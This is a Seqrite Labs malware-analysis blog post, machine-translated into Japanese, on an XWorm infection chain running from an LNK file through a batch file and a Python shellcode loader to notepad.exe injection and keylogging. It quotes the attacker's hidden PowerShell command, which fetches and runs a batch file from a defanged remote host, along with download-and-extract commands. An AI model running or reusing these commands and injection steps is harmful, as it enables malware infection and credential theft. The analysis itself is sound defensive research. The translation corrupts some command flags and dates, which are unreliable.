• 製品とサービス
        • クラウド

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • オンプレミス

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • ディーラー&卸売

          • SOHO Total Edition
        • Services

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • サイバーセキュリティと Data Privacy Awareness
  • ソリューション
    • 金融・保険
    • 教育支援
    • 政府・公共機関向け
    • 健康
    • ITeS
    • 製造業
  • 会社
    • 学校区概要 Seqrite
    • リーダーシップ
    • 賞と認定
    • ニュースルーム
  • Partners
    • パートナープログラム
    • パートナーを探す
    • パートナーになる
  • サポート
  • 資料
    • ブログ
    • ホワイトペーパー
    • データシート
    • ケーススタディ
    • 脅威レポート
    • マニュアル
    • PoV
    • 理解する Data Privacy
    • リスクスコアを確認する
    • DPDP対話
    • プライバシーアワー
Seqrite ラボ Blog
営業担当者へ連絡 攻撃を受けているのか?
  • 製品とサービス
        • クラウド

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • オンプレミス

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • ディーラー&卸売

          • SOHO Total Edition
        • Services

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • サイバーセキュリティと Data Privacy Awareness
  • ソリューション
    • 金融・保険
    • 教育支援
    • 政府・公共機関向け
    • 健康
    • ITeS
    • 製造業
  • 会社
    • 学校区概要 Seqrite
    • リーダーシップ
    • 賞と認定
    • ニュースルーム
  • Partners
    • パートナープログラム
    • パートナーを探す
    • パートナーになる
  • サポート
  • 資料
    • ブログ
    • ホワイトペーパー
    • データシート
    • ケーススタディ
    • 脅威レポート
    • マニュアル
    • PoV
    • 理解する Data Privacy
    • リスクスコアを確認する
    • DPDP対話
    • プライバシーアワー
ホーム  /  技術部門  / XWorm:古いペイロードを使った新たな感染戦術の分析
XWorm: 古いペイロードを使った新たな感染戦術の分析
04 12月 2024

XWorm: 古いペイロードを使った新たな感染戦術の分析

著者 ルマナ・シディキ
ルマナ・シディキ
技術部門
1

導入:

攻撃者は、システムに感染して機密情報を盗み出すための様々な手法を絶えず開発しています。最近の攻撃キャンペーンでは、LNKファイルから始まる多段階の感染チェーンが採用され、被害者をWebブラウザで請求書を開かせようとします。そして、バックグラウンドで一連の悪意のあるアクティビティを実行し、システムをXWormに感染させます。

このブログでは、XWormの技術的な詳細を検証します。最初の分析では、LNKファイルから始まる感染チェーンの各段階を検証します。次に、脅威アクターが使用するPowerShell、Pythonスクリプト、ペイロードなどの戦術、手法、手順(TTP)を検証します。最後に、XWormペイロードのシェルコードインジェクションを容易にする手法を検証します。ここで攻撃者は、新しい亜種と同じ機能を持つ古い亜種を使用しています。 エックスワーム ただし、このバリアントには Xlogger モジュールがあります。

感染チェーン:

最近、ウェブブラウザで請求書を開くことで被害者を誘導するLNKファイルを発見しました。このファイルはバックグラウンドで、Pythonセットアップファイルを含むZIPファイルをダウンロードします。解凍すると、Pythonセットアップファイルと様々なスクリプトが含まれています。スクリプトフォルダには、「Man.py」という悪意のあるスクリプトが1つ見つかりました。このスクリプトは、暗号を解読し、悪意のあるシェルコードをシステムに挿入する役割を担っています。

図1: 感染連鎖

LNKファイル:

このLNKファイルはPowerShellコマンドを隠しモードで実行します。PowerShellコマンドを利用して、バッチファイルman.batをダウンロードフォルダにコピーし、Start-Processを使用してこのバッチファイルをバックグラウンドで実行します。-WindowStyle Hiddenフラグを使用することで、コマンドプロンプトウィンドウが表示されないようにしています。

 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 隠しコマンド -c “Copy-Item '\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat' \”$env:USERPROFILE\Downloads\”; Start-Process \”$env:USERPROFILE\Downloads\man[.]bat\” -WindowStyle 隠しコマンド”

 

図2: LNKファイルとそのターゲット

 

バッチファイル:

ダウンロードされた.batファイルは感染プロセスを開始する役割を担い、ウェブブラウザで税金の請求書を開くことで被害者の注意をそらします。

.batファイルには、PDFファイルの起動を開始するリンクが含まれています。さらに、PowerShellコマンドを実行してZIPファイルをダウンロードし、その内容を解凍し、そのフォルダに移動してPythonスクリプトを実行し、システムに悪意のあるシェルコードを挿入します。

ダウンロード ZIPファイル:

PowerShell -Command “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }”

`Invoke-WebRequest` を使用して、ハードコードされた URL からファイルをダウンロードし、ダウンロード場所である %destination% に保存します。

同じダウンロードフォルダでPowerShellコマンドを使用してZIPファイルを抽出します。

powershell -Command “& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }

ZIP ファイルを解凍した後、man.py が存在するフォルダーに移動して実行します。

図3: batファイル

図 4 では、「qfv0ao」という名前の ZIP ファイルがダウンロード フォルダーにダウンロードされ、Web ブラウザーで PDF ファイルが開かれ (図 5)、PowerShell を使用してファイルが解凍されていることがわかります (図 6)。

 

 

図6: ZIPを復号するためのPowerShellコマンドを含むbatファイル

 

Python スクリプト:

Pythonスクリプトには暗号化されたシェルコードが含まれています。このシェルコードはBase64で復号され、その後RC4で復号されます。キーはスクリプト自体にハードコードされています。図7に示すように、VirtualProtectを使用して割り当てられたメモリのパーミッションを変更します。

図7: シェルコードを含むPythonファイル

 

注入:

Pythonスクリプトはまずシェルコードの実行権限を設定し、次にシェルコードを実行します。シェルコードの開始関数は、ペイロードであるXWormの復号と実行を処理します。下の図8は、シェルコードのインジェクションのシーケンスを示しています。

図8: シェルコード

図8では、許可を得たシェルコードを見ることができます。 ページ_EXECUTE_READWRITE次に、図9に示すようにシェルコードが実行されます。シェルコードの開始部分では、コードのいくつかのバイトが「notepad.exe」へのシェルコードの挿入を担っています。

図9: シェルコードの実行

 

図10: シェルコードインジェクション

 

図11: Notepad.exe が起動しました

図11は、Pythonスクリプトman.pyを実行した後、「notepad.exe」が起動する様子を示しています。まず、notepad.exeはサスペンド状態で起動されます。次に、図12および図13に示すように、notepad.exeのアドレス空間へのメモリ割り当てとシェルコードの挿入が行われます。

シェルコードが挿入されると、非同期プロシージャ呼び出し(APC)がnotepad.exeのキューに追加されます。このAPCは、悪意のあるコードがメモリ内に存在するアドレスを指します。notepad.exeがサスペンド状態から再開されると、APCが悪意のあるコードの実行をトリガーします。

図12: 挿入されたシェルコード

 

図13. Xwormの復号されたシェルコード

PE ファイル:

このXWormの亜種は、現在も活動を続ける古いバージョンであり、システム感染のために新たな戦術を試みます。このバージョンでは、ミューテックスの作成直後に「callk」というXlogger関数を呼び出します。このXloggerモジュールは、ファイルのオープン、キー入力、Webブラウザの使用など、すべてのイベントを追跡し、「Local/Temp/log.txt」というパスに保存します。このログは、C2サーバーから対応するコマンドを受信すると、さらに外部に流出します。

図14: 関数呼び出し

キーロギング:

キーロガー機能はキーストロークを収集し、認証情報や個人情報などの機密情報を盗むために利用されます。以下のスニペットでは、WH_KEYBOARD_LLフックタイプを持つSetWindowsHookExなどのAPIを使用してキーストロークをキャプチャしていることがわかります。記録されたキーストロークはローカルに保存されるか、外部に持ち出される可能性があります。

さらに、GetKeyboardState や ToUnicodeEx などの関数は、現在のキーボード レイアウトを考慮して、キーの押下を読み取り可能なテキストに変換するためによく使用されます。

図15: キーロギングモジュール

まとめ:

このブログでは、感染チェーンが洗練された多段階の感染経路であることについて説明しました。 マルウェア 様々な手法を駆使して被害者のシステムに感染する攻撃です。悪意のあるLNKファイル、PowerShellコマンド、バッチファイル、Pythonスクリプト、メモリインジェクションを組み合わせることで、このマルウェアはプロンプトを表示することなくペイロードを展開します。シェルコードインジェクションやキーロギングなどの機能により、ログイン認証情報などの機密情報を窃取し、攻撃者が管理するリモートサーバーに流出させます。

 

IOC:

MD5

名前 MD5
LNKファイル 1556BD8155D8E9FF2DBDCD852A354B64
バッチファイル D0B5238A18ABC402B506F608968270DC
〒 C627DE3B90A0FB5CA8964026360B053A
XWormペイロード 5EDAB6926E304E4DBEF76800918BEE8A

 

保護:

 

トロイの木馬.Xworm.S34251703

Trojan.GenericFC.S29960909

 

マイター攻撃&CK:

戦略 テクニックID 名前
難読化 T1027 難読化されたファイルまたは情報
実行 T1059.005 コマンドおよびスクリプトインタープリター:Visual Basic
スクリーンキャプチャ T1113 スクリーンキャプチャ
被害者ホスト情報を収集する T1592 システム情報を収集する
入力キャプチャ T1056 キーロギング
防衛回避 T1055.002 プロセス インジェクション: ポータブル実行可能インジェクション
コンテンツインジェクション T1659 システムに悪意のあるコードを挿入する
コマンドおよび制御 T1071.001 アプリケーション層プロトコル:Webプロトコル

 著者:

ヴァイブハブ・クルシュナ・ビラデ

ルマナ・シディキ

 以前の投稿進化する脅威:XWormマルウェアの適応型設計
次の投稿  偽の Web サイトやオンラインのなりすましからブランドを保護する方法
ルマナ・シディキ

ルマナ・シディキについて

ルマナ・シディキは、クイックヒール・セキュリティラボでシニアセキュリティリサーチャーとして働いています。彼女はマルウェア分析、リバースエンジニアリング、そして…

ルマナ・シディキの記事 »

関連記事

  • 請求書からAnyDeskへ:ロシアの航空宇宙関連組織を標的としたフィッシングキャンペーンの実態解明  

    7年2026月XNUMX日
  • オペレーション・ドラゴンリターン:中国と連携したサイバー諜報活動が、多段階のDcRAT展開を通じてインド政府/財務省の税務インフラを標的に

    2026 年 6 月 26 日
  • 脅威アクターがRARアーカイブを武器としてタイの医療セクターを標的に

    2026 年 6 月 19 日
注目の著者
  • Seqrite
    Seqrite

    Seqrite は、大手企業向けサイバーセキュリティソリューションプロバイダーです。重点分野は…

    より多くの記事を読んで Seqrite
  • ジョティ・カルレカー
    ジョティ・カルレカー

    私は、新興テクノロジーに関するコンテンツの作成を楽しむ熱心なライターです。

    Jyoti Karlekar の記事をもっと読む
  • ビニーシュ・P
    ビニーシュ・P

    私はサイバーセキュリティに情熱を注ぎ、熱心なライターでもあります。得意分野は…

    Bineesh P によるその他の記事を読む
  • サンジェイ・カトカル
    サンジェイ・カトカル

    Sanjay Katkar 氏は、Quick Heal Technologies の共同マネージング ディレクターです。

    サンジャイ・カトカーによるその他の記事を読む
トピック
apt (25) サイバー攻撃 (36) サイバー攻撃 (58) サイバー攻撃 (16) サイバー攻撃 (15) Cybersecurity (340) サイバーセキュリティ (34) サイバー脅威 (33) サイバー脅威 (51) データ侵害 (56) データ侵害 (29) データ損失 (28) データ損失防止 (34) data privacy (16) データ保護 (34) データセキュリティ (19) DLP (50) DPDP (14) DPDPA (17) Encryption (16) エンドポイントセキュリティ (112) エンタープライズセキュリティ (19) 悪用する (13) GDPR (14) マルウェア (76) マルウェア分析 (14) マルウェア攻撃 (23) MDM (27) Microsoft (15) MITER ATT&CK (13) ネットワークセキュリティ (26) フィッシング詐欺 (30) ランサムウェア (69) ransomware攻撃 (31) ransomware攻撃 (31) ransomwareの保護 (16) Seqrite (41) Seqrite Encryption (27) Seqrite EPS (33) Seqrite Services (16) 脅威の検出 (13) Threat Intelライセンス (19) UTM (34) 脆弱性 (16) ゼロトラスト (13)
Seqrite ラボ

世界中でクラス最高の脅威防止、検出、対応ソリューションによりエンドポイント、データ、ネットワークのセキュリティを簡素化する、大手エンタープライズ IT セキュリティ ソリューション プロバイダーです。

続きを読む Seqrite

私たちに従ってください:

ニュースレターに登録

最新のサイバーセキュリティのトレンドと洞察に関する情報を入手してください。

ローディング
製品とサービス
  • クラウド
  • Endpoint Protection
  • Endpoint Detection and Response
  • Mobile Device Management
  • BYOD
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • オンプレミス
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • Platform
  • Malware Analysis Platform
  • マイクロビジネス
  • SOHO Total Edition
  • Services
  • Threat Intel
  • Digital Risk Protection Services (DRPS)
  • Ransomware Recovery as a Services (RRaaS)
  • DPDP Compliance
  • Managed Detection and Response
  • サイバーセキュリティと Data Privacy Awareness
資料
  • ブログ
  • ホワイトペーパー
  • データシート
  • 脅威レポート
  • マニュアル
  • PoV
  • 理解する Data Privacy
  • DPDP対話
  • ポリシーとコンプライアンス
  • EULA
  • ゴーディープ
  • SIA
  • プライバシーアワー
お問い合わせ
  • 登記事務所
  • サイバーセキュリティについて話しましょう
サポート
  • テクニカルサポート
  • ソフトウェア・ダウンロード
  • オフラインアップデータ
  • ファームウェア・アップグレード
  • アップグレード
  • 製品ドキュメント
私たちに関しては
  • 学校区概要 Seqrite
  • リーダーシップ
  • 受賞
  • ニュースルーム
パートナー
  • パートナープログラム
  • パートナーを探す
  • パートナーになる
  • Seqrite 認定

© 2026 クイックヒールテクノロジーズ株式会社

サイトマップ プライバシーポリシー 法的通知 クッキーポリシー 利用規約